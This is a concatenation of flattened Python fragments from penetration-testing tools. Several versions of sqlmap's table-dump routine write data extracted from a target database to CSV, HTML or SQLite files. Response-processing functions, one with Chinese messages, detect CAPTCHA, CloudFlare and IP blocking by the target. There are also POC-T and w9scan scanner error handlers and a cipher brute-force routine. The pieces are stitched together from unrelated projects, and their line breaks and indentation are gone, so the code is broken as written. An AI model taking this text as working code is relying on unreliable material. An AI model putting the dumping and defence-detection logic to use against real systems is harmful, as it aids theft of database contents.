warnMsg = "writing binary ('%s') content to file '%s' " % (mimetype, filepath) logger.warn(warnMsg) with open(filepath, "wb") as f: _ = safechardecode(value, True) f.write(_) except magic.MagicException, err: logger.debug(str(err)) if conf.dumpFormat == DUMP_FORMAT.CSV: if field == fields: dataToDumpFile(dumpFP, "%s" % safeCSValue(value)) else: dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(value), conf.csvDel)) elif conf.dumpFormat == DUMP_FORMAT.HTML: entryNode = documentNode.createElement("td") rowNode.appendChild(entryNode) entryNode.appendChild(documentNode.createTextNode(value)) field += 1 if conf.dumpFormat == DUMP_FORMAT.SQLITE: try: rtable.insert(values) except SqlmapValueException: pass elif conf.dumpFormat == DUMP_FORMAT.CSV: dataToDumpFile(dumpFP, "\n") self._write("|", console=console)
def runCipher(): text = conf.text if not conf.file: msg = "[+] The input text is \033[40m%s\033[0m and length is %d\n" % (text, len(text)) dataToStdout(msg) if not conf.brute: msg = "Starting cipher module." logger.info(msg) mode = "encrypt" if conf.encrypt else "decrypt" key = conf.key result = ru.cipherfunc(text, key, mode) if conf.lower: result = result.lower msg = "[+] Work done!\n" msg += "[+] Result is \033[40m%s\033[0m\n" % result dataToStdout(msg) pyperclip.copy(result) msg = "[+] Result copying to clipboard, use Ctrl+v to paste.\n" dataToStdout(msg) else: msg = "Starting bruter module." logger.info(msg) msg = "Starting bruter successfully." logger.info(msg) msg = 'Start bruting...' logger.info(msg) result = ru.cipherfunc(text) if conf.lower: for key in list(result.keys()): result[key] = result[key].lower() if result != None: if conf.verbose: msg = "All the possible result:" logger.info(msg) for key in result.keys(): msg = "[+] Key %s: \033[40m%s\033[0m\n" % (key, result[key]) dataToStdout(msg) else: count = 0 for key in result.keys(): if isEnglish(result[key]): count += 1 msg = 'Possible encryption hack %d:' % count logger.info(msg) msg = "[+] Possible encryption hack with key %s: \033[40m%s\033[0m\n" % (key, result[key]) dataToStdout(msg) pyperclip.copy(result[key]) msg = "[+] Result copying to clipboard, use Ctrl+v to paste.\n" dataToStdout(msg) if count == 0: msg = "No possible sentence found, use -v to see the full result." logger.warning(msg) else: msg = "No possible result found." logger.critical(msg)
def dbTableValues(self, tableValues): replication = None rtable = None if tableValues is None: return db = tableValues["__infos__"]["db"] if not db: db = "All" table = tableValues["__infos__"]["table"] if conf.replicate: replication = Replication("%s%s%s.sqlite3" % (conf.dumpPath, os.sep, unsafeSQLIdentificatorNaming(db))) else: dumpDbPath = "%s%s%s" % (conf.dumpPath, os.sep, unsafeSQLIdentificatorNaming(db)) if not os.path.isdir(dumpDbPath): os.makedirs(dumpDbPath, 0755) dumpFileName = "%s%s%s.csv" % (dumpDbPath, os.sep, unsafeSQLIdentificatorNaming(table)) dumpFP = openFile(dumpFileName, "wb") count = int(tableValues["__infos__"]["count"]) separator = str() field = 1 fields = len(tableValues) - 1 columns = prioritySortColumns(tableValues.keys()) for column in columns: if column != "__infos__": info = tableValues[column] lines = "-" * (int(info["length"]) + 2) separator += "+%s" % lines separator += "+" self._write("Database: %s\nTable: %s" % (db if db else "Current database", table)) if conf.replicate: cols = [] for column in columns: if column != "__infos__": colType = Replication.INTEGER for value in tableValues[column]['values']: try: if not value or value == " ": # NULL continue int(value) except ValueError: colType = None break if colType is None: colType = Replication.REAL for value in tableValues[column]['values']: try: if not value or value == " ": # NULL continue float(value) except ValueError: colType = None break cols.append((column, colType if colType else Replication.TEXT)) rtable = replication.createTable(table, cols) if count == 1: self._write("[1 entry]") else: self._write("[%d entries]" % count) self._write(separator) for column in columns: if column != "__infos__": info = tableValues[column] maxlength = int(info["length"]) blank = " " * (maxlength - len(column)) self._write("| %s%s" % (column, blank), n=False) if not conf.replicate: if field == fields: dataToDumpFile(dumpFP, "%s" % safeCSValue(column)) else: dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(column), conf.csvDel)) field += 1 self._write("|\n%s" % separator) if not conf.replicate: dataToDumpFile(dumpFP, "\n") if conf.replicate: rtable.beginTransaction() if count > TRIM_STDOUT_DUMP_SIZE: warnMsg = "console output will be trimmed to " warnMsg += "last %d rows due to " % TRIM_STDOUT_DUMP_SIZE warnMsg += "large table size" logger.warning(warnMsg) for i in xrange(count): console = (i >= count - TRIM_STDOUT_DUMP_SIZE) field = 1 values = [] for column in columns: if column != "__infos__": info = tableValues[column] if len(info["values"]) <= i: continue if info["values"][i] is None: value = u'' else: value = getUnicode(info["values"][i]) value = {" ": NULL, "": BLANK}.get(value, value) values.append(value) maxlength = int(info["length"]) blank = " " * (maxlength - len(value)) self._write("| %s%s" % (value, blank), n=False, console=console) if not conf.replicate: if field == fields: dataToDumpFile(dumpFP, "%s" % safeCSValue(value)) else: dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(value), conf.csvDel)) field += 1 if conf.replicate: try: rtable.insert(values) except sqlmapValueException: pass self._write("|", console=console) if not conf.replicate: dataToDumpFile(dumpFP, "\n") self._write("%s\n" % separator) if conf.replicate: rtable.endTransaction() logger.info("table '%s.%s' dumped to sqlite3 file '%s'" % (db, table, replication.dbpath)) else: dataToDumpFile(dumpFP, "\n") dumpFP.close() logger.info("table '%s.%s' dumped to CSV file '%s'" % (db, table, dumpFileName))
initOption(args) pluginScan() webScan() except ToolkitMissingPrivileges, e: logger.error(e) systemQuit(EXIT_STATUS.ERROR_EXIT) except ToolkitSystemException, e: logger.error(e) systemQuit(EXIT_STATUS.ERROR_EXIT) except ToolkitUserQuitException: systemQuit(EXIT_STATUS.USER_QUIT) except ToolkitPluginException, e: createIssueForBlog(e) logger.warning( 'It seems like you reached a unhandled exception, We have automatically uploaded the exception information, please wait for a later update.') except KeyboardInterrupt: systemQuit(EXIT_STATUS.USER_QUIT) except Exception as info: logger.warning("error:%s " % (str(Exception) + " " + str(info))) logger.warning('It seems like you reached a unhandled exception, please report it to author\'s mail:<*****@*****.**> or raise a issue via:<https://github.com/boy-hacl/w9scan/issues/new>.') if __name__ == '__main__': main()
def processResponse(page, responseHeaders, status=None): kb.processResponseCounter += 1 page = page or "" parseResponse( page, responseHeaders if kb.processResponseCounter < PARSE_HEADERS_LIMIT else None, status) if not kb.tableFrom and Backend.getIdentifiedDbms() in (DBMS.ACCESS, ): kb.tableFrom = extractRegexResult(SELECT_FROM_TABLE_REGEX, page) else: kb.tableFrom = None if conf.parseErrors: msg = extractErrorMessage(page) if msg: logger.warning("parsed DBMS error message: '%s'" % msg.rstrip('.')) if kb.originalPage is None: for regex in (EVENTVALIDATION_REGEX, VIEWSTATE_REGEX): match = re.search(regex, page) if match and PLACE.POST in conf.parameters: name, value = match.groups() if PLACE.POST in conf.paramDict and name in conf.paramDict[ PLACE.POST]: if conf.paramDict[PLACE.POST][name] in page: continue else: msg = "do you want to automatically adjust the value of '%s'? [y/N]" % name if not readInput(msg, default='N', boolean=True): continue conf.paramDict[PLACE.POST][name] = value conf.parameters[PLACE.POST] = re.sub( r"(?i)(%s=)[^&]+" % re.escape(name), r"\g<1>%s" % re.escape(value), conf.parameters[PLACE.POST]) if not kb.browserVerification and re.search(r"(?i)browser.?verification", page or ""): kb.browserVerification = True warnMsg = "potential browser verification protection mechanism detected" if re.search(r"(?i)CloudFlare", page): warnMsg += " (CloudFlare)" singleTimeWarnMessage(warnMsg) if not kb.captchaDetected and re.search(r"(?i)captcha", page or ""): for match in re.finditer(r"(?si)<form.+?</form>", page): if re.search(r"(?i)captcha", match.group(0)): kb.captchaDetected = True warnMsg = "potential CAPTCHA protection mechanism detected" if re.search(r"(?i)<title>[^<]*CloudFlare", page): warnMsg += " (CloudFlare)" singleTimeWarnMessage(warnMsg) break if re.search(BLOCKED_IP_REGEX, page): warnMsg = "it appears that you have been blocked by the target server" singleTimeWarnMessage(warnMsg)
run() if conf.OPEN_BROWSER: openBrowser() systemQuit(EXIT_STATUS.SYSETM_EXIT) except ToolkitMissingPrivileges, e: logger.error(e) systemQuit(EXIT_STATUS.ERROR_EXIT) except ToolkitSystemException, e: logger.error(e) systemQuit(EXIT_STATUS.ERROR_EXIT) except ToolkitUserQuitException: systemQuit(EXIT_STATUS.USER_QUIT) except KeyboardInterrupt: systemQuit(EXIT_STATUS.USER_QUIT) except Exception: print traceback.format_exc() logger.warning( 'It seems like you reached a unhandled exception, please report it to author\'s mail:<*****@*****.**> or raise a issue via:<https://github.com/Xyntax/POC-T/issues/new>.' ) if __name__ == "__main__": main()
loadModule() #加载poc脚本 loadPayloads() #配置扫描模式 run() #开始扫描 systemQuit(EXIT_STATUS.SYSETM_EXIT) except ToolkitMissingPrivileges, e: logger.error(e) systemQuit(EXIT_STATUS.ERROR_EXIT) except ToolkitSystemException, e: logger.error(e) systemQuit(EXIT_STATUS.ERROR_EXIT) except ToolkitUserQuitException: systemQuit(EXIT_STATUS.USER_QUIT) except KeyboardInterrupt: systemQuit(EXIT_STATUS.USER_QUIT) except Exception: print traceback.format_exc() logger.warning( 'It seems like you reached a unhandled exception, please report it to :[email protected]' ) if __name__ == "__main__": main()
def dbTableValues(self, tableValues): replication = None rtable = None dumpFP = None if tableValues is None: return db = tableValues["__infos__"]["db"] if not db: db = "All" table = tableValues["__infos__"]["table"] if hasattr(conf, "api"): self._write(tableValues, content_type=API_CONTENT_TYPE.DUMP_TABLE) return if conf.dumpFormat == DUMP_FORMAT.SQLITE: replication = Replication("%s%s%s.sqlite3" % (conf.dumpPath, os.sep, unsafeSQLIdentificatorNaming(db))) elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML): dumpDbPath = "%s%s%s" % (conf.dumpPath, os.sep, unsafeSQLIdentificatorNaming(db)) if not os.path.isdir(dumpDbPath): os.makedirs(dumpDbPath, 0755) dumpFileName = "%s%s%s.%s" % (dumpDbPath, os.sep, unsafeSQLIdentificatorNaming(table), conf.dumpFormat.lower()) dumpFP = openFile(dumpFileName, "wb") count = int(tableValues["__infos__"]["count"]) separator = str() field = 1 fields = len(tableValues) - 1 columns = prioritySortColumns(tableValues.keys()) for column in columns: if column != "__infos__": info = tableValues[column] lines = "-" * (int(info["length"]) + 2) separator += "+%s" % lines separator += "+" self._write("Database: %s\nTable: %s" % (db if db else "Current database", table)) if conf.dumpFormat == DUMP_FORMAT.SQLITE: cols = [] for column in columns: if column != "__infos__": colType = Replication.INTEGER for value in tableValues[column]['values']: try: if not value or value == " ": # NULL continue int(value) except ValueError: colType = None break if colType is None: colType = Replication.REAL for value in tableValues[column]['values']: try: if not value or value == " ": # NULL continue float(value) except ValueError: colType = None break cols.append((column, colType if colType else Replication.TEXT)) rtable = replication.createTable(table, cols) elif conf.dumpFormat == DUMP_FORMAT.HTML: documentNode = getDOMImplementation().createDocument(None, "table", None) tableNode = documentNode.documentElement if count == 1: self._write("[1 entry]") else: self._write("[%d entries]" % count) self._write(separator) if conf.dumpFormat == DUMP_FORMAT.HTML: headNode = documentNode.createElement("thead") rowNode = documentNode.createElement("tr") tableNode.appendChild(headNode) headNode.appendChild(rowNode) bodyNode = documentNode.createElement("tbody") tableNode.appendChild(bodyNode) for column in columns: if column != "__infos__": info = tableValues[column] maxlength = int(info["length"]) blank = " " * (maxlength - len(column)) self._write("| %s%s" % (column, blank), newline=False) if conf.dumpFormat == DUMP_FORMAT.CSV: if field == fields: dataToDumpFile(dumpFP, "%s" % safeCSValue(column)) else: dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(column), conf.csvDel)) elif conf.dumpFormat == DUMP_FORMAT.HTML: entryNode = documentNode.createElement("td") rowNode.appendChild(entryNode) entryNode.appendChild(documentNode.createTextNode(column)) field += 1 self._write("|\n%s" % separator) if conf.dumpFormat == DUMP_FORMAT.CSV: dataToDumpFile(dumpFP, "\n") elif conf.dumpFormat == DUMP_FORMAT.SQLITE: rtable.beginTransaction() if count > TRIM_STDOUT_DUMP_SIZE: warnMsg = "console output will be trimmed to " warnMsg += "last %d rows due to " % TRIM_STDOUT_DUMP_SIZE warnMsg += "large table size" logger.warning(warnMsg) for i in xrange(count): console = (i >= count - TRIM_STDOUT_DUMP_SIZE) field = 1 values = [] if conf.dumpFormat == DUMP_FORMAT.HTML: rowNode = documentNode.createElement("tr") bodyNode.appendChild(rowNode) for column in columns: if column != "__infos__": info = tableValues[column] if len(info["values"]) <= i: continue if info["values"][i] is None: value = u'' else: value = getUnicode(info["values"][i]) value = DUMP_REPLACEMENTS.get(value, value) values.append(value) maxlength = int(info["length"]) blank = " " * (maxlength - len(value)) self._write("| %s%s" % (value, blank), newline=False, console=console) if len(value) > MIN_BINARY_DISK_DUMP_SIZE and r'\x' in value: mimetype = magic.from_buffer(value, mime=True) if any(mimetype.startswith(_) for _ in ("application", "image")): filepath = os.path.join(dumpDbPath, "%s-%d.bin" % (column, randomInt(8))) warnMsg = "writing binary ('%s') content to file '%s' " % (mimetype, filepath) logger.warn(warnMsg) with open(filepath, "wb") as f: _ = safechardecode(value, True) f.write(_) if conf.dumpFormat == DUMP_FORMAT.CSV: if field == fields: dataToDumpFile(dumpFP, "%s" % safeCSValue(value)) else: dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(value), conf.csvDel)) elif conf.dumpFormat == DUMP_FORMAT.HTML: entryNode = documentNode.createElement("td") rowNode.appendChild(entryNode) entryNode.appendChild(documentNode.createTextNode(value)) field += 1 if conf.dumpFormat == DUMP_FORMAT.SQLITE: try: rtable.insert(values) except SqlmapValueException: pass elif conf.dumpFormat == DUMP_FORMAT.CSV: dataToDumpFile(dumpFP, "\n") self._write("|", console=console) self._write("%s\n" % separator) if conf.dumpFormat == DUMP_FORMAT.SQLITE: rtable.endTransaction() logger.info("table '%s.%s' dumped to sqlite3 database '%s'" % (db, table, replication.dbpath)) elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML): if conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "<!DOCTYPE html>\n<html>\n<head>\n") dataToDumpFile(dumpFP, "<meta http-equiv=\"Content-type\" content=\"text/html;charset=%s\">\n" % UNICODE_ENCODING) dataToDumpFile(dumpFP, "<title>%s</title>\n" % ("%s%s" % ("%s." % db if METADB_SUFFIX not in db else "", table))) dataToDumpFile(dumpFP, HTML_DUMP_CSS_STYLE) dataToDumpFile(dumpFP, "\n</head>\n") dataToDumpFile(dumpFP, tableNode.toxml()) dataToDumpFile(dumpFP, "\n</html>") else: dataToDumpFile(dumpFP, "\n") dumpFP.close() logger.info("table '%s.%s' dumped to %s file '%s'" % (db, table, conf.dumpFormat, dumpFileName))
def dbTableValues(self, tableValues): replication = None rtable = None dumpFP = None appendToFile = False warnFile = False if tableValues is None: return db = tableValues["__infos__"]["db"] if not db: db = "All" table = tableValues["__infos__"]["table"] if conf.api: self._write(tableValues, content_type=CONTENT_TYPE.DUMP_TABLE) return dumpDbPath = os.path.join(conf.dumpPath, unsafeSQLIdentificatorNaming(db)) if conf.dumpFormat == DUMP_FORMAT.SQLITE: replication = Replication(os.path.join(conf.dumpPath, "%s.sqlite3" % unsafeSQLIdentificatorNaming(db))) elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML): if not os.path.isdir(dumpDbPath): try: os.makedirs(dumpDbPath) except: warnFile = True _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(db)) dumpDbPath = os.path.join(conf.dumpPath, "%s-%s" % (_, hashlib.md5(getBytes(db)).hexdigest()[:8])) if not os.path.isdir(dumpDbPath): try: os.makedirs(dumpDbPath) except Exception as ex: tempDir = tempfile.mkdtemp(prefix="sqlmapdb") warnMsg = "unable to create dump directory " warnMsg += "'%s' (%s). " % (dumpDbPath, getSafeExString(ex)) warnMsg += "Using temporary directory '%s' instead" % tempDir logger.warn(warnMsg) dumpDbPath = tempDir dumpFileName = os.path.join(dumpDbPath, re.sub(r'[\\/]', UNSAFE_DUMP_FILEPATH_REPLACEMENT, "%s.%s" % (unsafeSQLIdentificatorNaming(table), conf.dumpFormat.lower()))) if not checkFile(dumpFileName, False): try: openFile(dumpFileName, "w+b").close() except SqlmapSystemException: raise except: warnFile = True _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(unsafeSQLIdentificatorNaming(table))) if len(_) < len(table) or IS_WIN and table.upper() in WINDOWS_RESERVED_NAMES: _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(table)) dumpFileName = os.path.join(dumpDbPath, "%s-%s.%s" % (_, hashlib.md5(getBytes(table)).hexdigest()[:8], conf.dumpFormat.lower())) else: dumpFileName = os.path.join(dumpDbPath, "%s.%s" % (_, conf.dumpFormat.lower())) else: appendToFile = any((conf.limitStart, conf.limitStop)) if not appendToFile: count = 1 while True: candidate = "%s.%d" % (dumpFileName, count) if not checkFile(candidate, False): try: shutil.copyfile(dumpFileName, candidate) except IOError: pass break else: count += 1 dumpFP = openFile(dumpFileName, "wb" if not appendToFile else "ab", buffering=DUMP_FILE_BUFFER_SIZE) count = int(tableValues["__infos__"]["count"]) separator = str() field = 1 fields = len(tableValues) - 1 columns = prioritySortColumns(list(tableValues.keys())) if conf.col: cols = conf.col.split(',') columns = sorted(columns, key=lambda _: cols.index(_) if _ in cols else 0) for column in columns: if column != "__infos__": info = tableValues[column] lines = "-" * (int(info["length"]) + 2) separator += "+%s" % lines separator += "+" self._write("Database: %s\nTable: %s" % (unsafeSQLIdentificatorNaming(db) if db else "Current database", unsafeSQLIdentificatorNaming(table))) if conf.dumpFormat == DUMP_FORMAT.SQLITE: cols = [] for column in columns: if column != "__infos__": colType = Replication.INTEGER for value in tableValues[column]['values']: try: if not value or value == " ": # NULL continue int(value) except ValueError: colType = None break if colType is None: colType = Replication.REAL for value in tableValues[column]['values']: try: if not value or value == " ": # NULL continue float(value) except ValueError: colType = None break cols.append((unsafeSQLIdentificatorNaming(column), colType if colType else Replication.TEXT)) rtable = replication.createTable(table, cols) elif conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "<!DOCTYPE html>\n<html>\n<head>\n") dataToDumpFile(dumpFP, "<meta http-equiv=\"Content-type\" content=\"text/html;charset=%s\">\n" % UNICODE_ENCODING) dataToDumpFile(dumpFP, "<meta name=\"generator\" content=\"%s\" />\n" % VERSION_STRING) dataToDumpFile(dumpFP, "<title>%s</title>\n" % ("%s%s" % ("%s." % db if METADB_SUFFIX not in db else "", table))) dataToDumpFile(dumpFP, HTML_DUMP_CSS_STYLE) dataToDumpFile(dumpFP, "\n</head>\n<body>\n<table>\n<thead>\n<tr>\n") if count == 1: self._write("[1 entry]") else: self._write("[%d entries]" % count) self._write(separator) for column in columns: if column != "__infos__": info = tableValues[column] column = unsafeSQLIdentificatorNaming(column) maxlength = int(info["length"]) blank = " " * (maxlength - len(column)) self._write("| %s%s" % (column, blank), newline=False) if not appendToFile: if conf.dumpFormat == DUMP_FORMAT.CSV: if field == fields: dataToDumpFile(dumpFP, "%s" % safeCSValue(column)) else: dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(column), conf.csvDel)) elif conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "<th>%s</th>" % getUnicode(cgi.escape(column).encode("ascii", "xmlcharrefreplace"))) field += 1 if conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "\n</tr>\n</thead>\n<tbody>\n") self._write("|\n%s" % separator) if conf.dumpFormat == DUMP_FORMAT.CSV: dataToDumpFile(dumpFP, "\n" if not appendToFile else "") elif conf.dumpFormat == DUMP_FORMAT.SQLITE: rtable.beginTransaction() if count > TRIM_STDOUT_DUMP_SIZE: warnMsg = "console output will be trimmed to " warnMsg += "last %d rows due to " % TRIM_STDOUT_DUMP_SIZE warnMsg += "large table size" logger.warning(warnMsg) for i in xrange(count): console = (i >= count - TRIM_STDOUT_DUMP_SIZE) field = 1 values = [] if conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "<tr>") for column in columns: if column != "__infos__": info = tableValues[column] if len(info["values"]) <= i: continue if info["values"][i] is None: value = u'' else: value = getUnicode(info["values"][i]) value = DUMP_REPLACEMENTS.get(value, value) values.append(value) maxlength = int(info["length"]) blank = " " * (maxlength - len(value)) self._write("| %s%s" % (value, blank), newline=False, console=console) if len(value) > MIN_BINARY_DISK_DUMP_SIZE and r'\x' in value: try: mimetype = getText(magic.from_buffer(value, mime=True)) if any(mimetype.startswith(_) for _ in ("application", "image")): if not os.path.isdir(dumpDbPath): os.makedirs(dumpDbPath) _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(unsafeSQLIdentificatorNaming(column))) filepath = os.path.join(dumpDbPath, "%s-%d.bin" % (_, randomInt(8))) warnMsg = "writing binary ('%s') content to file '%s' " % (mimetype, filepath) logger.warn(warnMsg) with openFile(filepath, "w+b", None) as f: _ = safechardecode(value, True) f.write(_) except magic.MagicException as ex: logger.debug(getSafeExString(ex)) if conf.dumpFormat == DUMP_FORMAT.CSV: if field == fields: dataToDumpFile(dumpFP, "%s" % safeCSValue(value)) else: dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(value), conf.csvDel)) elif conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "<td>%s</td>" % getUnicode(cgi.escape(value).encode("ascii", "xmlcharrefreplace"))) field += 1 if conf.dumpFormat == DUMP_FORMAT.SQLITE: try: rtable.insert(values) except SqlmapValueException: pass elif conf.dumpFormat == DUMP_FORMAT.CSV: dataToDumpFile(dumpFP, "\n") elif conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "</tr>\n") self._write("|", console=console) self._write("%s\n" % separator) if conf.dumpFormat == DUMP_FORMAT.SQLITE: rtable.endTransaction() logger.info("table '%s.%s' dumped to sqlite3 database '%s'" % (db, table, replication.dbpath)) elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML): if conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "</tbody>\n</table>\n</body>\n</html>") else: dataToDumpFile(dumpFP, "\n") dumpFP.close() msg = "table '%s.%s' dumped to %s file '%s'" % (db, table, conf.dumpFormat, dumpFileName) if not warnFile: logger.info(msg) else: logger.warn(msg)
def processResponse(page, responseHeaders, status=None): kb.processResponseCounter += 1 page = page or "" parseResponse( page, responseHeaders if kb.processResponseCounter < PARSE_HEADERS_LIMIT else None, status) if not kb.tableFrom and Backend.getIdentifiedDbms() in (DBMS.ACCESS, ): kb.tableFrom = extractRegexResult(SELECT_FROM_TABLE_REGEX, page) else: kb.tableFrom = None if conf.parseErrors: msg = extractErrorMessage(page) if msg: logger.warning(u"解析的DBMS错误消息: '%s'" % msg.rstrip('.')) if kb.originalPage is None: for regex in (EVENTVALIDATION_REGEX, VIEWSTATE_REGEX): match = re.search(regex, page) if match and PLACE.POST in conf.parameters: name, value = match.groups() if PLACE.POST in conf.paramDict and name in conf.paramDict[ PLACE.POST]: if conf.paramDict[PLACE.POST][name] in page: continue else: msg = u"要自动调整'%s'的值吗? [y/N]" % name if not readInput(msg, default='N', boolean=True): continue conf.paramDict[PLACE.POST][name] = value conf.parameters[PLACE.POST] = re.sub( "(?i)(%s=)[^&]+" % re.escape(name), r"\g<1>%s" % re.escape(value), conf.parameters[PLACE.POST]) if not kb.browserVerification and re.search(r"(?i)browser.?verification", page or ""): kb.browserVerification = True warnMsg = u"检测潜在的浏览器验证保护机制" if re.search(r"(?i)CloudFlare", page): warnMsg += " (CloudFlare)" singleTimeWarnMessage(warnMsg) if not kb.captchaDetected and re.search(r"(?i)captcha", page or ""): for match in re.finditer(r"(?si)<form.+?</form>", page): if re.search(r"(?i)captcha", match.group(0)): kb.captchaDetected = True warnMsg = u"检测到潜在的CAPTCHA保护机制" if re.search(r"(?i)<title>[^<]*CloudFlare", page): warnMsg += " (CloudFlare)" singleTimeWarnMessage(warnMsg) break if re.search(BLOCKED_IP_REGEX, page): warnMsg = u"您的请求似乎已被目标服务器阻止" singleTimeWarnMessage(warnMsg)